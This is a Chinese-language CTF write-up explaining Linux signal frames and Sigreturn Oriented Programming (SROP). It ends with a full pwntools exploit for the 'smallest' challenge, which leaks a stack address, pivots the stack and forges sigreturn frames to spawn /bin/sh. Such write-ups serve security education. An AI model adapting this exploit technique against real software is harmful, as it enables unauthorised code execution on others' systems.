信号与栈-SROP 原理分析

warning
免责声明

本文所述 PWN 均属 CTF(Capture The Flag)参赛行为或赛前训练行为.笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机.
本文意在分享网络安全与 CTF 相关技术与技巧,共同提升实力.
请本文读者谨记相关法律法规与政策.读者需为自身行为承担相应的法律后果.笔者(Y7n05h)不为读者的行为承担责任.

Signal 原理

相信各位师傅对 Signal 都有一些了解.
Signal 作为一种 *nix 的异步通知方式,在 *nix 的系统编程方面十分常见.
本文将分析信号处理函数调用过程中的简单流程,并尝试部分 SROP 利用.

笔者使用如下程序分析 signal 机制.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <signal.h>
#include <stdio.h>
void func(int) {
char pr[] = "111122223333";

printf("signal:%p\n", &pr);
}
int main() {
char pr[] = "aaaabaaacaaa";
printf("main:%p\n", &pr);

signal(SIGUSR1, func);
for (;;)
;
}

通过编译运行本程序,并使用终端向程序发送 SIGUSR1 信号,触发信号处理函数 func
在这个简单的实验中,能看到:

1
2
main:0x7ffdd6510440
signal:0x7ffdd650fe50

func_stack

Signal[2]

当信号发送时,内核将进程的 ucontextsiginfo 压入 用户态 的进程栈顶部,并切换至 用户态 执行 Signal Handler,当 用户态Signal Handler 返回时,执行 syscall sigreturn ,内核恢复先前保存的 ucontextsiginfo,并恢复被信号中断函数的执行.

signal_stack
从上图中能十分清晰的看出,ucontextsiginfo 都保存在用户态,而且 signal_stack 并无 Canary 的保护.

下图是 x86_64 环境下,Signal Frame 的详细信息
Signal Frame[1]

SROP 利用

SROP 即 Sigreturn Oriented Programming.

前文已经说明了 Signal 机制所存在的安全隐患,下面来聊聊 signal_stack 的利用方式

  • 如果 signal_stack 有缓冲区溢出错误,则能够从 signal_stack 通过溢出修改 ucontextsiginfo 的内容,实现对寄存器的控制.
  • 我们还可以伪造 ucontextsiginfo 并利用 sigreturn 将伪造的数据的数据应用至寄存器中,实现对所有寄存器的控制.

目前 pwntools 已经集成了 SROP 的利用工具,能极大的方便 payload 的构造.

例题

题目:360chunqiu2017_smallest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
path = './Downloads/smallest'
r = process(path)

xor_addr = 0x4000B0
syscall_ret = 0x4000BE

r.send(p64(xor_addr)*3)

r.send(b'\xb3') # 更改 返回地址为 0x4000B3 同时设置 rax 为 1
r.recv(0x8)
write_able_addr = u64(r.recv(8))
r.recv()
# 栈迁移至 write_able_addr
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = write_able_addr
sigframe.rdx = 0x400
sigframe.rsp = write_able_addr
sigframe.rip = syscall_ret
payload = p64(xor_addr)+cyclic(0x8)+bytes(sigframe)
r.send(payload)

# 设置 rax = 15
sigreturn = p64(syscall_ret).ljust(15, b'\x00')
r.send(sigreturn)

# execve
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = write_able_addr + 0x120 # "/bin/sh 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = write_able_addr
sigframe.rip = syscall_ret

frame_payload = p64(xor_addr) + cyclic(0x8) + bytes(sigframe)
print(len(frame_payload))
payload = frame_payload.ljust(0x120, b'\x00') + b'/bin/sh\x00'

r.send(payload)
r.send(sigreturn)
r.interactive()

本题目是经典的 SROP 例题,本题中很巧妙的一点是利用 syscall read 写入 1 bytes 同时达成设置 rax 与 修改返回地址两个目的.

此时利用 rax == 1 调用 write 泄漏出一处可写的内存地址,在其上构造栈迁移.

Q:为什么需要这样做呢?
A:因为在后面的调用中需要 execve(sh_addr,NULL,NULL),只有将栈转移到已知的位置,才能确定写入的 /bin/sh\x00 字符串的地址.

其后,再次利用 syscall write 读取输入将 ‘/bin/sh\x00’ 写入,并利用偏移量计算出其地址,在最后面再次构造 signal_stack,调用 execve 成功 getshell.

参考资料

1:Bosman E, Bos H. Framing signals-a return to portable shellcode[C]//2014 IEEE Symposium on Security and Privacy. IEEE, 2014: 243-258.

2. SROP.[G/OL].ctf-wiki.https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/#system-call-chains.
3. 杨超.CTF竞赛权威指南.Pwn篇[M].北京:电子工业出版社.